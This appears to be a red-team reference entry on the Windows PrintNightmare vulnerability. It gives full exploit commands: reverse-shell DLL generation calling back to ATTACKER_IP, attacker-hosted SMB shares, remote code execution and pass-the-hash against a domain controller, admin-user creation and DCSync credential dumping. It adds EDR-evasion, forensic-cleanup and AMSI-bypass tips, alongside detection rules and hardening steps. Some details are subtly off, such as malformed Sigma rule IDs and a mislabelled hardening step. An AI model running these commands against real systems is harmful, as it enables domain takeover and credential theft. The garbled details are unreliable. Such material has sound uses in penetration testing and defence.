🔵 Attack #43 — PrintNightmare (CVE-2021-34527)
📖 How It Works
PrintNightmare is a critical RCE vulnerability in the Windows Print Spooler service that allows an authenticated user to execute arbitrary code as SYSTEM on any Windows machine with the Print Spooler running — including Domain Controllers. The vulnerability exists in the RpcAddPrinterDriverEx function, which doesn’t properly validate the caller’s permissions before loading a DLL.
[!info]+ Technical Deep-Dive — RpcAddPrinterDriverEx Privilege Bypass
ris:FileList
- The Windows Print Spooler exposes
RpcAddPrinterDriverEx(MS-RPRN OpNum 89) to allow remote printer driver installation- The function accepts a
DRIVER_INFO_2structure containing the path to a DLL file — intended to be a legitimate printer driver- The vulnerability: The function checks
SeLoadDriverPrivilegebut the check is bypassable — any authenticated user can call the function whenAPD_INSTALL_WARNED_DRIVER(0x8000) flag is set- The attacker hosts a malicious DLL on an SMB share accessible from the target
- The target’s Print Spooler service loads the DLL as SYSTEM — executing arbitrary code with the highest privileges
- On a DC, SYSTEM-level execution → DCSync (Attack #37) → full domain compromise
[!important]+ Two CVEs — RCE vs LPE
fas:TriangleExclamation
- CVE-2021-1675 (June 2021) — Originally classified as Local Privilege Escalation (LPE) only; patched in June 2021 Patch Tuesday
- CVE-2021-34527 (July 2021) — The Remote Code Execution (RCE) variant; the June patch was incomplete and didn’t fix the remote vector
- Both exploit the same underlying issue in
RpcAddPrinterDriverExbut via different attack paths:
- LPE (CVE-2021-1675): Load malicious DLL from a local path → SYSTEM on the local machine
- RCE (CVE-2021-34527): Load malicious DLL from a remote SMB share → SYSTEM on the remote machine
- The July 2021 out-of-band patch (KB5004945) addresses the RCE vector; additional hardening (Point and Print restrictions) was added in August 2021
⚙️ Prerequisites
| Requirement | Detail |
|---|---|
| Any domain user credentials | Authentication required (any domain user, no admin needed) |
| Print Spooler running on target | Default enabled on all Windows machines |
| Target is unpatched | RCE patched July 2021 (KB5004945); LPE patched June 2021 |
| SMB share accessible (RCE) | Attacker must host a DLL on an SMB share reachable from the target |
| Local file path (LPE) | For the LPE variant, DLL must be on the local filesystem |
🛠️ Tools
| Tool | Platform | Version | Notes |
|---|---|---|---|
| CVE-2021-1675.py | Linux/Python | cube0x0’s fork of Impacket | RCE exploit — requires modified Impacket |
| printnightmare.py | Linux/Python | Python 3 | Alternative script name for the same exploit |
| SharpPrintNightmare | Windows (.NET) | Latest | C# exploit for C2 execute-assembly — both LPE and RCE |
| CVE-2021-1675.ps1 | Windows/PowerShell | Latest | PowerShell LPE exploit (Invoke-Nightmare) — creates local admin user |
| Impacket — smbserver.py | Linux | ≥ 0.9.23 | Host malicious DLL on an SMB share |
| msfvenom | Linux | Metasploit ≥ 6.0 | Generate malicious DLL payloads (reverse shell, adduser, etc.) |
[!tip]+ Impacket Version Note
fas:Lightbulb
- cube0x0’s exploit requires a modified version of Impacket that supports
SMB_DIALECT_30— the standard Impacket may fail with SMB3 negotiation errors- Install from cube0x0’s fork:
pip install git+https://github.com/cube0x0/impacket- Or use the standard Impacket with the
--no-smb3flag if available in your exploit version- As of Impacket 0.12.0+, SMB3 support is native — the fork may no longer be necessary
⏱️ Time-to-Execute Estimates
| Operation | Time | Notes |
|---|---|---|
| DLL generation (msfvenom) | 5–10 seconds | Quick payload compilation |
| SMB server setup | 2–3 seconds | Start smbserver.py |
| RCE exploitation | 5–15 seconds | DLL loads as SYSTEM; callback received |
| LPE exploitation (PowerShell) | 3–10 seconds | Local admin user created |
| Full chain (exploit DC → DCSync) | 30–60 seconds | SYSTEM on DC → immediate DCSync |
💻 Full Commands
🔴 RCE — Remote Code Execution (CVE-2021-34527)
# ── Step 1: Generate malicious DLL payload ────────────────────────────────────
# Reverse shell DLL:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 \
-f dll -o evil.dll
# Meterpreter DLL:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=4444 \
-f dll -o evil.dll
# Add local admin user DLL (custom C code compiled):
# The DLL's DllMain runs: net user hacker P@ss123! /add && net localgroup Administrators hacker /add
# ── Step 2: Host malicious DLL on SMB share ───────────────────────────────────
smbserver.py share /path/to/dll/ -smb2support
# Share available at: \\ATTACKER_IP\share\evil.dll
# ── Step 3: Exploit (cube0x0 — Impacket) ─────────────────────────────────────
python3 CVE-2021-1675.py corp.local/low_user:'Password1'@DC01.corp.local \
'\\ATTACKER_IP\share\evil.dll'
# DLL executes as SYSTEM on DC01 → reverse shell or local admin created
# ── Alternative: printnightmare.py ────────────────────────────────────────────
python3 printnightmare.py corp.local/low_user:'Password1'@DC01.corp.local \
-dll '\\ATTACKER_IP\share\evil.dll'
# ── With Pass-the-Hash ────────────────────────────────────────────────────────
python3 CVE-2021-1675.py corp.local/low_user@DC01.corp.local \
-hashes :aabbccdd11223344 '\\ATTACKER_IP\share\evil.dll'
SharpPrintNightmare (C# — for C2)
# ── RCE variant via C2 execute-assembly ───────────────────────────────────────
execute-assembly /path/to/SharpPrintNightmare.exe \\ATTACKER_IP\share\evil.dll \\DC01.corp.local
# ── LPE variant (local priv esc on current machine) ──────────────────────────
execute-assembly /path/to/SharpPrintNightmare.exe C:\Temp\evil.dll
🔴 LPE — Local Privilege Escalation (CVE-2021-1675)
# ── PowerShell PoC (Invoke-Nightmare) ─────────────────────────────────────────
Import-Module .\CVE-2021-1675.ps1
Invoke-Nightmare -DriverName "Xerox" -NewUser "hacker" -NewPassword "P@ssword123!"
# Creates local admin user "hacker" via Print Spooler exploitation
# Runs entirely locally — no SMB share needed
# ── Verify the user was created ───────────────────────────────────────────────
net user hacker
net localgroup Administrators
🔴 Post-Exploitation (After SYSTEM on DC)
# ── If you got a SYSTEM shell on a DC, immediately DCSync ─────────────────────
# From the SYSTEM shell:
mimikatz.exe
privilege::debug
lsadump::dcsync /domain:corp.local /all /csv
# ── Or from Linux with the new local admin ────────────────────────────────────
secretsdump.py corp.local/hacker:'P@ssword123!'@DC01.corp.local \
-just-dc -outputfile domain_dump
🎯 OPSEC Tips
- PrintNightmare exploitation is VERY noisy — the DLL loading generates multiple events (driver installation, service creation, Sysmon image load) and most EDR solutions detect it immediately
- Use the LPE variant for lateral movement when you already have a foothold on a machine — it’s less visible than remote RCE because no SMB share access is needed
- The SMB share must be accessible from the target — if outbound SMB is firewalled from the DC, the DLL can’t be loaded; consider hosting on an already-compromised internal host
- Custom DLLs are stealthier than msfvenom payloads — msfvenom DLL signatures are well-known; compile a custom DLL with adduser or reverse shell code
- Clean up after exploitation — the printer driver and DLL persist on the target; remove them to reduce forensic evidence
- Target workstations, not DCs, when possible — exploiting a workstation is less monitored than a DC; then use lateral movement to reach the DC
📊 OpSec Ranking
| Method | Stealth | Speed | Reliability | Notes |
|---|---|---|---|---|
| LPE (PowerShell Invoke-Nightmare) | 🟡 Medium | 🟢 Fast | 🟢 High | Local only; detected by PowerShell logging |
| RCE (cube0x0 + msfvenom DLL) | 🔴 Low | 🟢 Fast | 🟡 Medium | SMB share + known DLL signature = easy detection |
| RCE (custom compiled DLL) | 🟡 Medium | 🟢 Fast | 🟡 Medium | Better than msfvenom but driver install still logged |
| SharpPrintNightmare (C2) | 🟡 Medium | 🟢 Fast | 🟡 Medium | In-memory execution avoids disk artifacts |
🛡️ Detection — Event IDs
| Event ID | Source | What to Look For |
|---|---|---|
| 808 | PrintService/Admin | Printer driver installation failed/suspicious — DLL load events from Print Spooler |
| 316 | PowerShell | PowerShell script execution — Invoke-Nightmare or CVE-2021-1675.ps1 |
| 7045 | System Log | New service/driver installed — Print Spooler loading a new “printer driver” |
| 4688 | Security Log | Process creation from spoolsv.exe — child processes spawned by the malicious DLL |
| Sysmon 7 | Sysmon | Image loaded — DLL loaded by spoolsv.exe from non-standard path (SMB share or temp directory) |
| Sysmon 11 | Sysmon | File creation — DLL file written to C:\Windows\System32\spool\drivers\x64\ |
| Sysmon 1 | Sysmon | Process creation — cmd.exe or powershell.exe spawned as child of spoolsv.exe |
| Sysmon 3 | Sysmon | Network connection — spoolsv.exe connecting to attacker SMB share |
🔎 Sigma Rules
# ── SigmaHQ — PrintNightmare Exploitation (Spooler Child Process) ─────────────
title: PrintNightmare Exploitation — Suspicious Spooler Child Process
id: dca4d40b-printnight-spooler-child
status: stable
logsource:
product: windows
category: process_creation
detection:
selection:
ParentImage|endswith: '\spoolsv.exe'
Image|endswith:
- '\cmd.exe'
- '\powershell.exe'
- '\pwsh.exe'
- '\rundll32.exe'
- '\net.exe'
- '\net1.exe'
condition: selection
level: critical
tags:
- attack.execution
- attack.t1210
- cve.2021.34527
# ── SigmaHQ — Suspicious DLL Loaded by Spooler ───────────────────────────────
title: DLL Loaded by Print Spooler from Non-Standard Path
id: b5c6d7e8-spooler-dll-load
logsource:
product: windows
category: image_load
detection:
selection:
Image|endswith: '\spoolsv.exe'
filter_legitimate:
ImageLoaded|startswith:
- 'C:\Windows\System32\'
- 'C:\Windows\SysWOW64\'
condition: selection and not filter_legitimate
level: critical
🛡️ EDR-Specific Detections
[!warning]+ Microsoft Defender for Identity (MDI) / Defender for Endpoint
ris:Windows
- “Suspicious printer driver installation” — detects
RpcAddPrinterDriverExcalls from non-admin users- “Suspicious DLL loading by spoolsv.exe” — behavioral detection for Print Spooler loading DLLs from SMB shares or temp directories
- Defender for Endpoint has specific PrintNightmare detections that trigger on both the LPE and RCE variants
- Microsoft considers this a high-priority detection — Defender updates within 24 hours of CVE disclosure included signatures
[!warning]+ CrowdStrike Falcon
ris:Radar
- “PrintNightmare Exploitation Detected” — high-fidelity behavioral detection for RpcAddPrinterDriverEx exploitation
- “Malicious DLL Loaded by Spooler Service” — monitors spoolsv.exe DLL loading from non-standard paths
- Process tree analysis:
spoolsv.exe → cmd.exeorspoolsv.exe → rundll32.exe= critical alert
[!warning]+ Elastic Security
ris:FileList
- Rule: “PrintNightmare — Suspicious DLL Loaded by Spooler” — Sysmon Event 7 correlation
- Rule: “Suspicious Child Process of Spooler Service” — process creation monitoring
- Rule: “Remote Printer Driver Installation” — network-level detection for remote
RpcAddPrinterDriverExcalls
🔬 Forensic Artifacts
| Artifact | Location | Details |
|---|---|---|
| Printer driver DLL | C:\Windows\System32\spool\drivers\x64\3\ | The malicious DLL is copied to the driver store — persists after exploitation |
| Event 808 | PrintService/Admin log | Driver installation event with DLL path |
| Event 7045 | System Log | New service/driver installed — includes driver name |
| spoolsv.exe child processes | Event 4688 / Sysmon 1 | cmd.exe, powershell.exe, or other executables spawned by spoolsv.exe |
| SMB connection | Sysmon 3 / network capture | spoolsv.exe connecting to attacker’s SMB share to load the DLL |
| New local user (LPE variant) | net user / SAM registry | If Invoke-Nightmare was used, a new local admin account exists |
| Prefetch | C:\Windows\Prefetch\ | SPOOLSV.EXE prefetch file shows loaded DLLs |
| Registry | HKLM\SYSTEM\CurrentControlSet\Control\Print\Environments\ | Driver registration entries |
[!important]+ Windows Server Version & Patch Timeline
ris:Windows
- June 2021 (KB5003637): CVE-2021-1675 patch — addresses LPE only; RCE still exploitable
- July 2021 (KB5004945): Out-of-band emergency patch for CVE-2021-34527 — addresses RCE; but incomplete — researchers found bypasses
- August 2021 (KB5005565): Additional hardening —
RestrictDriverInstallationToAdministratorsregistry key; Point and Print restrictions- Server 2012 R2: Vulnerable; patches available
- Server 2016: Vulnerable; patches available;
RestrictDriverInstallationToAdministratorsrecommended- Server 2019: Vulnerable; same patch timeline; CVE re-exploitable with Point and Print misconfiguration
- Server 2022: Shipped with fixes included; Point and Print restrictions enabled by default
- Server 2025: Print Spooler hardened;
RestrictDriverInstallationToAdministrators = 1by default; Point and Print disabled by default- Multiple patch bypasses were discovered after each fix — the definitive mitigation is disabling Print Spooler on servers that don’t need it
🔒 Hardening & Prevention
# ── 1. Disable Print Spooler on DCs and servers (most effective) ──────────────
Stop-Service -Name Spooler -Force
Set-Service -Name Spooler -StartupType Disabled
# ── 2. GPO — Disable Spooler on server OUs ───────────────────────────────────
# Computer Configuration → Policies → Windows Settings → Security Settings →
# System Services → Print Spooler → Startup Type: Disabled
# ── 3. Restrict printer driver installation to admins only ────────────────────
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\Printers\PointAndPrint" `
-Name "RestrictDriverInstallationToAdministrators" -Value 1 -Type DWord
# ── 4. Disable Point and Print restrictions ───────────────────────────────────
# GPO → Computer Configuration → Admin Templates → Printers →
# "Point and Print Restrictions" = Disabled
# Or registry:
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\Printers\PointAndPrint" `
-Name "NoWarningNoElevationOnInstall" -Value 0 -Type DWord
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\Printers\PointAndPrint" `
-Name "UpdatePromptSettings" -Value 0 -Type DWord
# ── 5. Restrict Point and Print to approved servers ──────────────────────────
# GPO → Computer Configuration → Admin Templates → Printers →
# "Package Point and Print - Approved Servers" = Enabled
# Server list: only legitimate print servers
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\Printers\PackagePointAndPrint" `
-Name "PackagePointAndPrintServerList" -Value 1 -Type DWord
# ── 6. Apply all patches ─────────────────────────────────────────────────────
# June 2021: KB5003637 (LPE fix)
# July 2021: KB5004945 (RCE fix)
# August 2021: KB5005565 (hardening — Point and Print restrictions)
# Verify: Get-HotFix | Where-Object { $_.HotFixID -match 'KB5004945|KB5005565' }
# ── 7. Monitor spoolsv.exe for suspicious child processes ────────────────────
# Sysmon config:
# <ProcessCreate onmatch="include">
# <ParentImage condition="end with">spoolsv.exe</ParentImage>
# </ProcessCreate>
# <ImageLoad onmatch="include">
# <Image condition="end with">spoolsv.exe</Image>
# </ImageLoad>
🧩 Troubleshooting
| Error | Cause | Fix |
|---|---|---|
STATUS_ACCESS_DENIED on exploit | Target is patched (July 2021+) | Verify patch status; if patched, this attack path is closed — try other escalation methods |
DLL not loading — Path not found | SMB share not accessible from target or wrong UNC path | Verify \\ATTACKER_IP\share\evil.dll is accessible; ensure smbserver.py is running with -smb2support |
| Exploit succeeds but no callback | DLL payload issue or outbound connection blocked | Test DLL locally first; verify attacker listener is running; check firewall allows outbound from target |
Invoke-Nightmare fails with execution policy | PowerShell constrained language mode or AMSI | Bypass: powershell -ep bypass; for AMSI: use in-memory bypass or use the C# variant instead |
cube0x0 exploit: SMB3 negotiation failed | Standard Impacket doesn’t support required SMB dialect | Install cube0x0’s Impacket fork: pip install git+https://github.com/cube0x0/impacket |
| DLL loads but crashes spoolsv.exe | DLL architecture mismatch (x86 vs x64) or bad DLL | Generate x64 DLL: msfvenom -a x64 ...; ensure DLL exports DllMain correctly |
| Exploit works once but subsequent attempts fail | Spooler service crashed and hasn’t restarted | Wait for auto-restart or manually restart: sc \\DC01 start Spooler (if you have access) |
| Point and Print bypass doesn’t work | August 2021 hardening applied correctly | RestrictDriverInstallationToAdministrators = 1 blocks all bypasses — this attack path is fully closed |
🗺️ MITRE ATT&CK
| Tactic | Technique ID | Sub-technique | Procedure | APT Groups |
|---|---|---|---|---|
| Privilege Escalation | T1068 | Exploitation for Privilege Escalation | LPE via CVE-2021-1675 — load malicious DLL as SYSTEM via Print Spooler | Multiple ransomware groups (Magniber, Vice Society) |
| Lateral Movement | T1210 | Exploitation of Remote Services | RCE via CVE-2021-34527 — remotely load DLL on target machine as SYSTEM | Magniber ransomware |
| Execution | T1569 | .002 — Service Execution | Malicious DLL executed as a printer driver service by spoolsv.exe | Chained technique |
[!tip]+ Real-World Exploitation
fas:Lightbulb
- Magniber ransomware — One of the first ransomware families to incorporate PrintNightmare within weeks of disclosure; targeted South Korean organizations
- Vice Society — Used PrintNightmare for initial access and lateral movement in education sector attacks
- CISA Alert AA21-179A — Emergency alert warning of active PrintNightmare exploitation in the wild
- PrintNightmare was weaponized faster than almost any other vulnerability in 2021 — within 48 hours of the PoC being accidentally published on GitHub, active exploitation was detected
🔗 Attack Chain Context
[PrintNightmare] ──→ RCE as SYSTEM on any Windows host
│
├──→ 💥 CVE-2021-34527 (RCE) + CVE-2021-1675 (LPE)
├──→ 🔗 On DC: SYSTEM → DCSync (Attack #37) → full domain compromise
├──→ 🔗 On workstation: SYSTEM → credential dumping → lateral movement
├──→ 🔗 Related: PrinterBug (Attack #42) — also Print Spooler, but coercion not RCE
├──→ 📋 Multiple incomplete patches → verify ALL patches + registry hardening
└──→ 💀 Defeated by: July 2021 patches + August 2021 hardening, disable Print Spooler
✅ Attack #43 — PrintNightmare complete.